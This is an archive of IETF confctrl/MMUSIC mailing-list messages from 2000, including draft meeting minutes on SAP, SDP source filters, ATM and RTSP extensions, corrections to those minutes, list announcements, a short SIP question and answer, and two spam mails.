¡ì olk@olk.co.kr ¡í·Î "yes"¶ó´Â mailÀ» ÁÖ½Ã¸é µÈ´ä´Ï´Ù.

±×¸®°í, ÀúÈñ ÀüÈ­ ¿Ü±¹¾î °­ÀÇ°¡ ±Ã±ÝÇϽŠºÐµéÀ» À§ÇØ ¢Â½Ã¹ü°­ÀǢµµ 
¹«·á·Î ½Ç½ÃÇÏ°í ÀÖÀ¸´Ï ¸¹ÀÌ ½ÅûÇØ ÁÖ¼¼¿ä.

¹«·á ½Ã¹ü°­ÀÇ ½Åû ¹æ¹ýÀº ¢º www.d-day.co.kr ¢¸ ¿¡ Á¢¼ÓÇϽŠÈÄ 
"°­ÀǼҰ³"¶õÀ» Ŭ¸¯ÇϽŴÙÀ½ "°­ÀǽÅû"¶õÀ» º¸½Ã¸é ½Ã¹ü°­ÀǸ¦ 
½ÅûÇÏ½Ç ¼ö ÀÖ¾î¿ä. ÀüÈ­ 02-588-0510 À¸·Îµµ ½ÅûÇÒ ¼ö ÀÖ´ä´Ï´Ù.

¾Æ¹«ÂÉ·Ï ÀÌ ÇнÀ¹ýÀ¸·Î ȸȭ ½Ç·Â Çâ»ó¿¡ ÀÛÀº º¸ÅÛÀÌ µÇ¾úÀ¸¸é ÇÕ´Ï´Ù.
°¨»çÇÕ´Ï´Ù.

ºÒÇÊ¿äÇÑ Á¤º¸¿´´Ù¸é ´ë´ÜÈ÷ Á˼ÛÇÕ´Ï´Ù.
--AD_2000_PART_BOUNDARY_19990606--


From confctrl-owner  Tue Apr 25 12:49:14 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA15280
	for confctrl-outgoing; Tue, 25 Apr 2000 12:49:14 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA15275
	for <confctrl@zephyr.isi.edu>; Tue, 25 Apr 2000 12:49:13 -0700 (PDT)
Received: from teapot27.domain5.bigpond.com (teapot27.domain5.bigpond.com [139.134.5.174])
	by venera.isi.edu (8.9.3/8.9.3) with SMTP id MAA18850
	for <confctrl@isi.edu>; Tue, 25 Apr 2000 12:49:16 -0700 (PDT)
Received: from localhost (localhost [127.0.0.1]) by teapot27.domain5.bigpond.com (NTMail 3.02.13) with ESMTP id na862381 for <confctrl@isi.edu>; Wed, 26 Apr 2000 05:42:13 +1000
Received: from DC-56-16.bpb.bigpond.com ([203.40.56.16]) by mail5.bigpond.com (Claudes-Ecumenical-MailRouter V2.7e 9/9779339); 26 Apr 2000 05:42:13
From: "$ Mafiouso" <Mafiouso@most-wanted.com>
To: "confctrl@isi.edu" <confctrl@ISI.EDU>
Date: Wed, 26 Apr 2000 05:32:04 +1000
Subject: You Gota See!
Reply-To: Mafiouso@most-wanted.com
Organization: Mafiouso Inc.
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 7bit
X-Priority: 1
Message-Id: <19421366203192@domain5.bigpond.com>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

$ Hey!

$ Check Out This:

http://mafiouso3.tripod.com

$ The Best In Everything Mp3s, Pictures, Movies What Ever Your After You Will 
Find It Here, 

$ Want a HOT Christina Aguilera Background For Your PC
$ Just Goto The Link Below And Right Click, Then `SET AS WALLPAPER.

http://mafiouso3.tripod.com/Christina.jpg

:)  Remember It's Da A Hit!

$ Contact Mafiouso At:

$ ICQ   53709750
$ Email mafiouso@most-wanted.com


From confctrl-owner  Thu Apr 27 07:35:20 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA18615
	for confctrl-outgoing; Thu, 27 Apr 2000 07:35:20 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA18610
	for <confctrl@zephyr.isi.edu>; Thu, 27 Apr 2000 07:35:18 -0700 (PDT)
Received: from bettina.informatik.uni-bremen.de (bettina.informatik.uni-bremen.de [134.102.224.3])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id HAA14242
	for <confctrl@isi.edu>; Thu, 27 Apr 2000 07:35:17 -0700 (PDT)
Received: from plumps (daemon.informatik.uni-bremen.de [134.102.218.45])
	by bettina.informatik.uni-bremen.de (8.8.7/8.8.7) with SMTP id QAA15646;
	Thu, 27 Apr 2000 16:35:29 +0200 (MET DST)
Message-Id: <200004271435.QAA15646@bettina.informatik.uni-bremen.de>
X-Sender: jo@127.0.0.1
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0
Date: Thu, 27 Apr 2000 16:34:34 +0200
To: confctrl@ISI.EDU
From: Joerg Ott <jo@tzi.uni-bremen.de>
Subject: Draft MMUSIC minutes
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Folks,

please find below a draft of the minutes of the MMUSIC meeting in Adelaide.

Joerg

-------------------------------------------------------------------------------

Draft MMUSIC Meeting Minutes
============================

Prepared by Tom Taylor and Joerg Ott.
Many thanks to Tom Taylor for taking extensive notes.

MMUSIC met on Thursday afternoon under the chairmanship of Joerg Ott. 


1. Agenda bashing 
================= 

The proposed agenda was accepted. 


2. Status Report (Joerg Ott)
============================

The revised charter is coming.  The mailing list is moving to
mmusic@tzi.org.  The mailing list management uses majordomo. 
Participants will have to subscribe explicitly -- there will be no
automatic transfer from the confctrl list.  For some time to come,
mails sent to mmusic@tzi.org will be automatically forwarded to
confctrl@isi.edu.


3. SAPv2 (Colin Perkins) 
========================
(draft-ietf-mmusic-sap-v2-06.txt) 

Status: Colin had thought SAPv2 was ready for Last Call after
Washington, but the WG Last Call brought out lots of issues.  One issue
remains open.

The following changes were made:
* The timer reconsideration algorithm was changed to match the one
  used for RTCP.
* The timeout field was removed (was used only for encrypted SAP).
  As it now stands, a receiver either understands the payload or the
  announcer sends an explicit delete, or the receiver times out the
  announcement because it has not heard of it for some time.
* A number of editorial changes were made to the spec, including
  cleaning up the terminology used in the document.
* All authorization schemes are now optional. 

The open issue: how is authentication done?  In the past, it was by
means of authenticated transport.  The suggestion now is to use an
authenticated payload instead.  Colin pointed out that SAP is
independent of the payload, so it is possible to authenticate the
sender independently of any announcements.  Mark Handley saw this as a
key point: SAP is meant for use with proxies who don't necessarily
understand the content.  Finally, it is not just the payload but also
the SAP operation (announce vs. delete) that needs authentication.

The meeting agreed that payload authentication is acceptable, although
transport authentication is preferable.

It was agreed to issue a new WG Last Call immediately after the IETF.


4. The SAP Server Access Issue 
==============================

SAP is really a server-to-server protocol.  A SAP server access
protocol is also needed.  Amongst other things, this would allow a
client to iniate an announcement and to receive selected
announcements.

Some people use HTTP for this purpose, others LDAP.  It would be nice
to have current practice documented.  Colin noted that SAP gives the
same scope to announcements and to data, where HTTP does not.

There is a server location problem and a  server communications
problem.  The latter can be solved in various ways once the location
problem has been solved.

A volunteer is requested to compile a current practice document. 



5. The Directory SAP Media Type (Ross Finlayson)
================================================ 
(draft-ietf-mmusic-sdp-directory-type-00.txt) 

The SAP directory has a group address and port; hence it can be
treated like any other media session.  In particular, it can be
advertised using SDP.

Currently the draft specifies one transport: "SAP".  Others such as
"LDAP" are possible.

"Directory" is not a top-level MIME type.  Other possibilities don't
seem to be quite right.

Aside from this, the issues are generally the same as for other media
types: 
* lifetime 
* announcers within the directory session depend on continued
  advertisement of the directory
  - announcers can participate in the advertisement of the directory 
    - have to be careful about extension of lifetime 
    - not a problem: announcer propagates the life of the directory 
  - single announcer may be simpler. 

There are implications for SDP proxies (between SAP and some other
directory management protocol or firewall).  It is unscalable for the
proxy to traverse the entire graph of directory sessions.  The proxy
should open and read only the useful directories.

The question was raised: where is this work leading?  It would seem to
be material for an Experimental RFC, but the future of SAP itself is
in question.  Is it worth working on enhancements to SAP?  Comments
suggested that the work could be valuable, and could be useful even
without SAP.

The consensus was that the WG should accept the work item, with a view
to producing an Experimental RFC.


6. Expressing Source Filters In SDP (Dave Thaler)
=================================================

Source filters are needed for single-source sessions in 232/8.  They
are also needed for other Include-mode sessions.

Basically the authors want applications getting SDP to be able to
translate two options: 

* a new addrtype 
* a new attribute name 

a warning on the latter: it must be possible to ignore it if it is not
understood.   c= and a= lines cannot be intermixed.

There is a question whether the filter should be a session-level
attribute.

Dave presented an example showing the proposed new addrtype.  It was
noted that because this is not backwards compatible, it won't work for
the exclude mode.

To process the attribute, it is necessary to copy information out of
the c= line and apply the filter.  If the receiver ignores the
information, it will try to join the group normally; this may not
matter.

Jonathan Rosenberg saw an application to source authentication in SIP.

Ross Finlayson suggested that it would be much neater to put all of
the information on the c= line, since it all relates to transport. 
The counter-argument was that, since it is not mandatory for the
feature to work, the attribute approach is better.  Steve Casner saw
the filter as a media-specific attribute, so the suggestion was that
both representations may be needed.

The list will be asked to determine whether one way of representing
the information will be chosen or both allowed.

A new question: can there be domain names, or must all the entries be
addresses?  For IN IP4, only addresses are allowed.


Can address types (IP4, IP6) be mixed?  Such mixing is part of the a=
proposal.

How to handle multiple groups with the same filter? 

* group range? 
* multiple c= lines? 
* would wildcard be OK for the address part? 

Steve pointed out that the star notation could be used, even with a
single c= line.

SAP is limited to 1 kilobyte payload, which translates to around 15
IPv6 or 39 IPv4 addresses without compression.  There was a
suggestion: remove the limit from the specification.  It was noted
that he knows of no implementation which enforces the limit.

A single-source session should have a=recvonly, but one cannot assume
the reverse.

The above points need to be written up.  Mark Handley qualified this,
saying that it should be written up outside of the SDP specification,
since it is attribute-based.  To add it to the SDP specification
would cause the latter to recycle to Proposed status.  Allison Mankin
suggested that point needs discussion.


7. Specifying ATM Connections In SDP (Tom Taylor) 
=================================================
(draft-rajeshkumar-mmusic-sdp-atm-01.txt) 

In the absence of the author, Tom Taylor (taylor@nortelnetworks.com)
presented the syntax for ATM connections proposed in the document. 
These are meant to be used specifically for narrowband telephony
running over ATM AAL1 and AAL2 connections.  The issues dealt with are
bearer identification, specification of payloads over ATM (reusing the
RTP codes), and specification of ATM QOS parameters.  The main changes
to SDP include specification of the "ATM" nettype and new ATM
addrtypes on the c= line, m= lines modified to take account of ATM
transport and ATM-based profiles, and a number of new attributes to
carry bearer correlators, negotiate codec selection, and transmit
various ATM-related parameters.  The "$" wildcard notation is
introduced on the m= line to designate portions of bearer identifiers
to be selected by the recipient of the session description.
Mark Handley judged the principle of SDP extension for non-IP
transport to be acceptable.  The c= syntax looked OK.  The attributes
need a consistent naming convention or they will get out of hand. 
There was a suggestion that the authors could learn from the RTSP
experience.

Alison undertook to consult with the Transport Area Directorate on
whether the MEGACO or the MMUSIC WG should be prime for completing the
document.

Joerg Ott summed up by saying that such work should meet these criteria: 

* conformance to the rules of SDP syntax 
* no duplication of effort -- look for more general solutions where
  possible.

The meeting expressed no opposition to allowing the work to proceed. 


8. Codec Capabilities Attribute For SDP
=======================================
(draft-beser-mmusic-capabilities-00.txt) 

An SDP media announcement has multiple interpretations: it could be an
expression of capabilities, or it could be a definitive selection of
parameters.  One consequence of this ambiguity is that it is unclear
how much payload bandwidth to reserve.  This quantity is needed to use
RSVP reservation.  The proposal is to add an a=cap: attribute to

indicate capabilities as opposed to selections.  The list of payload
types within the attribute would be ordered from most to least
preferred.

The one comment was that resource reservation and capability exchange
are two different operations.   

9. Caching In RTSP/RTP Servers (Mark Green) 
=========================================== 

The topic is one of dynamic replication of content to bring it nearer
to users.  Mark presented a list of issues to be considered when
caching RTSP/RTP:

* transfer loss 
* transform loss 
* cache coherency 

* AAA 
* copy protection. 

Transfer loss makes it difficult to create a perfect copy.  This is a
bigger problem with UDP transport than with HTTP, but with UDP it is
easier to maintain cache coherency.

There are a couple of approaches.  With the packet recorder approach,
loss is a problem.  This is an RTP issue.  The file transfer approach
uses RTSP/TCP.  Transfer is more reliable, but the cache needs to know
the file formats.

One possibility is RTSP/TCP to tyransfer RTP, with an additional
metachannel to carry retransmissions.

Copy protection is a concern with the possibility of rogue caches
making illegal copies.

Comments: Rogue caches are not an RTSP issue.  The metachannel would
have a special format which would depend on the data and file format
being transferred.  The author agreed that this was so, but hopes that
a reasonably general set of classes of transfer can be defined.

Further discussion is invited on the list.   


10. RTSP Extensions: Additional Transports and Performance
    Enhancements (Sean Sheedy)
==========================================================
(draft-sheedy-mmusic-rtsp-ext-00.txt) 

The proposed extensions are based on existing implementations at
Oracle and nCube.  These support a commercial broadcast environment
featuring high bit rates, simple endpoints, high QOS, MPEG-2 encoding,
and low latencies in the order of 250 ms.  The server topology
includes bridging servers along the path of transmission.

The authors found it necessary to define new transports, so transport
extensions are proposed, along with new profiles beyond AVP.  Addreess
extensions were required to make addressing unique, since DOCSIS does
not allow an easy mapping between the client IP address and the
optical server.

Several optimizations were added for faster operation.  Setup and
tear-down are critical: setup should happen within 1 s, play and
rewind within 200 ms.  The optimizations included:

* the possibility of changing the URI within PLAY, to allow reuse of
  transport 
* wildcarded URIs to represent the currently active presentation,
  although these have limitations because of the potential ambiguity
  they introduce
* bandwidth reservation 
* two options for over-riding queued PLAY commands: Play-Now, and
  No-Flush.

The optimizations introduced several issues.  For example, how can the
client tell when the end of the stream has been reached?  The proposed
solution is to provide a server callback: the server sends a request
to the client when state transitions occur.


The authors are sharing this information with an invitation to work on
standardizing the suggested extensions.  The question was raised: what
does "extension" mean?  Joerg stated that all extensions to a protocol
must be backward compatible.   He also asked the authors to coordinate
with the MEGACO work on ATM addressing to arrive at a single general
purpose extension.







From confctrl-owner  Thu Apr 27 11:27:19 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA00955
	for confctrl-outgoing; Thu, 27 Apr 2000 11:27:19 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA00950
	for <confctrl@zephyr.isi.edu>; Thu, 27 Apr 2000 11:27:18 -0700 (PDT)
Received: from dthaler.microsoft.com ([131.107.152.20])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id LAA28250
	for <confctrl@ISI.EDU>; Thu, 27 Apr 2000 11:27:22 -0700 (PDT)
Received: (from dthaler@localhost)
	by dthaler.microsoft.com (8.8.7/8.8.7) id MAA00539;
	Thu, 27 Apr 2000 12:58:43 -0700 (PDT)
	(envelope-from dthaler)
From: Dave Thaler <dthaler@dthaler.microsoft.com>
Message-Id: <200004271958.MAA00539@dthaler.microsoft.com>
Subject: Re: Draft MMUSIC minutes
In-Reply-To: <200004271435.QAA15646@bettina.informatik.uni-bremen.de> from Joerg Ott at "Apr 27, 2000  4:34:34 pm"
To: jo@tzi.uni-bremen.de (Joerg Ott)
Date: Thu, 27 Apr 2000 12:58:43 -0700 (PDT)
Cc: confctrl@ISI.EDU
X-Mailer: ELM [version 2.4ME+ PL43 (25)]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> please find below a draft of the minutes of the MMUSIC meeting in Adelaide.

See corrections below.

> 3. SAPv2 (Colin Perkins) 
> ========================
> (draft-ietf-mmusic-sap-v2-06.txt) 
[...]
> The meeting agreed that payload authentication is acceptable, although
> transport authentication is preferable.

Not quite (at least from my recollection).  I thought we agreed that
they were BOTH useful, but serve quite different purposes.  ("Preferable" 
implies either/or.)

> 6. Expressing Source Filters In SDP (Dave Thaler)
> =================================================
> 
> Source filters are needed for single-source sessions in 232/8.  They
> are also needed for other Include-mode sessions.
> 
> Basically the authors want applications getting SDP to be able to
> translate two options: 

Not quite, these are the two choices, and we needed to choose only one.

> * a new addrtype 
> * a new attribute name 
> 
> a warning on the latter: it must be possible to ignore it if it is not

re "must be possible" this is mandated by the SDP specification, it's
not a new requirement.
The note is just a reminder that unrecognized attribute names are ignored.

> understood.   c= and a= lines cannot be intermixed.
> 
> There is a question whether the filter should be a session-level
> attribute.
> 
> Dave presented an example showing the proposed new addrtype.  It was

s/proposed new addrtype/new addrtype alternative/

(We weren't "proposing" both.  We actually proposed only the option, 
but described the alternative of an addrtype for completeness.)

> noted that because this is not backwards compatible, it won't work for
> the exclude mode.
[...]
> SAP is limited to 1 kilobyte payload, which translates to around 15
> IPv6 or 39 IPv4 addresses without compression.  There was a
> suggestion: remove the limit from the specification.  It was noted
> that he knows of no implementation which enforces the limit.
       ^^
s/he/???/
(it wasn't me the presenter, Mark maybe?)

-Dave

From confctrl-owner  Tue May  2 13:23:07 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA26253
	for confctrl-outgoing; Tue, 2 May 2000 13:23:07 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA26248
	for <confctrl@zephyr.isi.edu>; Tue, 2 May 2000 13:23:05 -0700 (PDT)
Received: from tux.w3.org (IDENT:root@tux.w3.org [18.29.0.27])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id NAA22841
	for <confctrl@isi.edu>; Tue, 2 May 2000 13:23:07 -0700 (PDT)
Received: from rupert (IDENT:root@localhost [127.0.0.1])
	by tux.w3.org (8.9.3/8.9.3) with SMTP id QAA09685;
	Tue, 2 May 2000 16:21:52 -0400
Message-Id: <4.1.20000502151501.00b5f2c0@127.0.0.1>
X-Sender: hjelm@127.0.0.1
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 
Date: Tue, 02 May 2000 16:20:25 -0400
To: paf@swip.net, ned.freed@innosoft.com, lm@att.com,
        wap-wag-uaprof@mail.wapforum.org, wap-wpg@mail.wapforum.org,
        comments@i-cap.org, ietf-announce@ietf.org, ietf@ietf.org,
        ietf-medfree@imc.org, http-wg@hplb.hpl.hp.com, rescap@cs.utk.edu,
        confctrl@ISI.EDU, srvloc@srvloc.org, w3c-html-wg@w3.org, symm@w3.org,
        www-mobile@w3.org, Koen.Holtman@cern.ch, joshco@Exchange.Microsoft.com,
        jim.gettys@compaq.com, ph@w3.org
From: Johan Hjelm <hjelm@w3.org>
Subject: Invitation: CC/PP Protocol Discussion List
Cc: w3c-ccpp-wg@w3.org, www-ccpp-protocol@w3.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Dear All, 
as you may know, we designed the CC/PP Exchange Protocol to take care of
the interchange of CC/PP data structures between an HTTP client and a HTTP
server. In the current version it is an application of the HTTP Extension
Protocol. 

That, and the fact that it is only a Note in the W3C (a document without
official standing) makes its status somewhat insecure. We want to
investigate the possibilities of bringing it onto the standards track, and
as a first step, we have created a version of the specification in the RFC
format as focal point for discussion. 

The address of the list is www-ccpp-protocol@w3.org. You subscribe by
sending an email to www-ccpp-protocol-request@w3.org with the word
"subscribe" in the subject of the message (without the quotes). 

We hope interested parties will participate in the discussion on this list
to establish a more formal version of this protocol. 

Welcome!

Johan Hjelm
Chair, CC/PP working group, W3C
(apologies for multiple postings!)

For more information: 
CC/PP Exchange Protocol as a W3C Note: http://www.w3.org/TR/NOTE-CCPPexchange
CC/PP Exchange Protocol in RFC format:
http://lists.w3.org/Archives/Public/www-ccpp-protocol/2000Apr/att-0001/01-dr
aft-ietf-ohto-ccpp-exchange-00.txt
CC/PP original W3C Note: http://www.w3.org/TR/NOTE-CCPP/
CC/PP working group public home page: http://www.w3.org/Mobile/CCPP/ 
************************************************************
                         Johan HJELM
      Ericsson Research, User Applications Group 
         Currently visiting engineer at the W3C
Chair, CC/PP Working Group and WCA Interest Group
             The World Wide Web Consortium
                         hjelm@w3.org
   http://www.w3.org/People/W3Cpeople.html#Hjelm
    Fax +1-617-258 5999, Phone +1-617-253-9630
   MIT/LCS, 545 Tech. Sq. Cambridge MA 02139 USA 
        Opinions are personal, always my own, 
  and not necessarily those of Ericsson or the W3C. 
============================================================

From confctrl-owner  Wed May  3 10:31:48 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA21512
	for confctrl-outgoing; Wed, 3 May 2000 10:31:48 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA21506
	for <confctrl@zephyr.isi.edu>; Wed, 3 May 2000 10:31:45 -0700 (PDT)
Received: from mail-gw2.uk.oracle.com ([193.128.103.1])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id KAA21931
	for <confctrl@isi.edu>; Wed, 3 May 2000 10:31:46 -0700 (PDT)
Received: from mail-relay1.uk.oracle.com (gatekeeper2.uk.oracle.com [193.128.102.3])
	by mail-gw2.uk.oracle.com (8.10.1/8.10.1) with ESMTP id e43HW8T15119
	for <confctrl@isi.edu>; Wed, 3 May 2000 18:32:08 +0100 (BST)
Received: from uksn71.uk.oracle.com (uksn71.uk.oracle.com [138.3.208.31])
	by mail-relay1.uk.oracle.com (8.10.1/8.10.1) with ESMTP id e43HW7e23533
	for <confctrl@isi.edu>; Wed, 3 May 2000 18:32:07 +0100 (BST)
Received: from uk.oracle.com (ukp8472.uk.oracle.com [138.3.233.52])
	by uksn71.uk.oracle.com (8.8.8+Sun/) with ESMTP id SAA24558;
	Wed, 3 May 2000 18:32:06 +0100 (BST)
Message-ID: <39106294.7FDFC07@uk.oracle.com>
Date: Wed, 03 May 2000 18:32:04 +0100
From: Dave Robinson <dcrobins@uk.oracle.com>
Organization: Oracle Corporation UK Ltd
X-Mailer: Mozilla 4.7 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: confctrl@ISI.EDU, Dave Robinson <dcrobins@uk.oracle.com>
Subject: Status of RTSP and SDP
Content-Type: multipart/mixed;
 boundary="------------E194972EB0C54A5D997547C7"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.
--------------E194972EB0C54A5D997547C7
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

I believe Oracle and nCube made some submissions to the last IETF
meeting for enhancements to RTSP and SDP. I have been unable to contact
the person responsible and hence have not discovered what the current
state is of these proposals or RTSP itself.

My interest is that in the UK, the DVB-TAM group is very interested in
adopting RTSP for interactive control of video servers from the home. I
was commissioned - volunteered? to get an update from MMUSIC group for
our next meeting later this month. So any pointers to working drafts,
summary of results etc. would be most welcome.


Thanks
    Dave
--
Dave Robinson
+44 (0) 118 924 5482
 Oracle Corporation UK Ltd
TVP 520 Oracle Parkway
Thames Valley Park
Reading
RG6 1RA
UK


--------------E194972EB0C54A5D997547C7
Content-Type: text/x-vcard; charset=us-ascii;
 name="dcrobins.vcf"
Content-Transfer-Encoding: 7bit
Content-Description: Card for Dave Robinson
Content-Disposition: attachment;
 filename="dcrobins.vcf"

begin:vcard 
n:Robinson;David
tel;cell:+44 385 728083
tel;fax:+44 118 9253686
tel;work:+44 118 924 5482
x-mozilla-html:TRUE
url:http://www.emea.oracle.com
org:Oracle Corporation UK Ltd;iTV
version:2.1
email;internet:dcrobins@uk.oracle.com
title:Principal Software Engineer
adr;quoted-printable:;;Building 520=0D=0AOracle Parkway=0D=0AThames Valley Park;Reading;Berkshire;RG6 1RA;UK
fn:Dave Robinson
end:vcard

--------------E194972EB0C54A5D997547C7--


From confctrl-owner  Wed May  3 16:47:57 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id QAA12183
	for confctrl-outgoing; Wed, 3 May 2000 16:47:57 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id QAA12178
	for <confctrl@zephyr.isi.edu>; Wed, 3 May 2000 16:47:55 -0700 (PDT)
Received: from mgw-x1.nokia.com (mgw-x1.nokia.com [131.228.20.21])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id QAA09606
	for <confctrl@isi.edu>; Wed, 3 May 2000 16:47:56 -0700 (PDT)
From: rene.purnadi@nokia.com
Received: from mgw-i2.ntc.nokia.com (mgw-i2.ntc.nokia.com [131.228.118.61])
	by mgw-x1.nokia.com (8.9.3/8.9.3/o) with ESMTP id CAA19104
	for <confctrl@isi.edu>; Thu, 4 May 2000 02:48:20 +0300 (EETDST)
Received: from daebh02nok.americas.nokia.com (daebh02nok.americas.nokia.com [172.18.242.183])
	by mgw-i2.ntc.nokia.com (8.9.3/8.9.3) with ESMTP id CAA26238
	for <confctrl@isi.edu>; Thu, 4 May 2000 02:48:19 +0300 (EETDST)
Received: by daebh02nok with Internet Mail Service (5.5.2448.0)
	id <KCYCL5MR>; Wed, 3 May 2000 18:48:18 -0500
Message-ID: <8572CF1E2A95D211A1190008C7EAA24601EB1382@daeis05nok>
To: confctrl@ISI.EDU
Cc: rene.purnadi@nokia.com
Subject: SIP question
Date: Wed, 3 May 2000 18:46:24 -0500 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,

I have a SIP question: 
With SIP call set up for a conference call, is it possible to determine how
many parties are involved, just from looking at the SIP signaling?

BR,
Rene Purnadi
Nokia Research Center
rene.purnadi@nokia.com
972.894.4897



From confctrl-owner  Wed May  3 20:49:11 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id UAA23090
	for confctrl-outgoing; Wed, 3 May 2000 20:49:11 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id UAA23079
	for <confctrl@zephyr.isi.edu>; Wed, 3 May 2000 20:49:09 -0700 (PDT)
Received: from redball.dynamicsoft.com ([216.173.40.51])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id UAA15949
	for <confctrl@ISI.EDU>; Wed, 3 May 2000 20:49:11 -0700 (PDT)
Received: from dynamicsoft.com (1Cust195.tnt2.freehold.nj.da.uu.net [63.17.114.195])
	by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id XAA03108;
	Wed, 3 May 2000 23:50:49 -0400 (EDT)
Message-ID: <3910F5CD.72768823@dynamicsoft.com>
Date: Thu, 04 May 2000 00:00:13 -0400
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
X-Mailer: Mozilla 4.7 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: rene.purnadi@nokia.com
CC: confctrl@ISI.EDU
Subject: Re: SIP question
References: <8572CF1E2A95D211A1190008C7EAA24601EB1382@daeis05nok>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Depends on how the conference call is done. If its through a dialup
conference bridge, no. The signaling relationship is one to one between
each participant and the bridge. You can tell from the RTCP, though. In
the case of fully distributed multi-party conferencing (still being
spec'ed out), yes.

-Jonathan R.

rene.purnadi@nokia.com wrote:
> 
> Hi,
> 
> I have a SIP question:
> With SIP call set up for a conference call, is it possible to determine how
> many parties are involved, just from looking at the SIP signaling?
> 
> BR,
> Rene Purnadi
> Nokia Research Center
> rene.purnadi@nokia.com
> 972.894.4897

-- 
Jonathan D. Rosenberg                       72 Eagle Rock Ave.
Chief Scientist                             First Floor
dynamicsoft                                 East Hanover, NJ 07936
jdrosen@dynamicsoft.com                     FAX:   (732) 741-4778
http://www.cs.columbia.edu/~jdrosen         PHONE: (732) 741-7244
http://www.dynamicsoft.com

From confctrl-owner  Fri May  5 03:40:36 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id DAA16386
	for confctrl-outgoing; Fri, 5 May 2000 03:40:36 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id DAA16381
	for <confctrl@zephyr.isi.edu>; Fri, 5 May 2000 03:40:34 -0700 (PDT)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id DAA10534
	for <confctrl@isi.edu>; Fri, 5 May 2000 03:40:35 -0700 (PDT)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA13327;
	Fri, 5 May 2000 06:40:59 -0400 (EDT)
Message-Id: <200005051040.GAA13327@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-sdp-srcfilter-00.txt
Date: Fri, 05 May 2000 06:40:59 -0400
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control Working Group of the IETF.

	Title		: SDP Source-Filters
	Author(s)	: B. Quinn
	Filename	: draft-ietf-mmusic-sdp-srcfilter-00.txt
	Pages		: 10
	Date		: 04-May-00
	
This document describes how to adapt the Session Description Protocol
(SDP) to express one or more source addresses as a source filter for
one or more destination 'connection' addresses.  It defines the syntax
and semantics for an SDP 'source-filter' attribute that may reference
either IPv4 or IPv6 address(es) as either an inclusive or exclusive
source list for either multicast or unicast destinations.

Receiver applications are expected use the SDP source-filter
information to identify traffic from legitimate senders and discard
